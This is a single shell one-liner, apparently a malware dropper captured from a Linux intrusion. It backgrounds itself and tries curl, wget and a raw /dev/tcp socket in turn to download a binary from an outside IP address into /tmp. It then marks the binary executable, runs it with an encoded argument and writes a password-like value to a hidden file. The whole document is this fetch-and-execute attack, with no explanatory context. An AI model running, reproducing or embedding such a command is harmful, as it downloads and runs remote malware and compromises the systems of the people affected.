nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/uf7wXvnMKm; if [ ! -f /tmp/uf7wXvnMKm ]; then wget http://218.3.177.39:60120/linux -O /tmp/uf7wXvnMKm; fi; if [ ! -f /tmp/uf7wXvnMKm ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/uf7wXvnMKm && chmod +x /tmp/uf7wXvnMKm && /tmp/uf7wXvnMKm HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6u[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/uf7wXvnMKm && /tmp/uf7wXvnMKm HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6u[...]" &#UPX!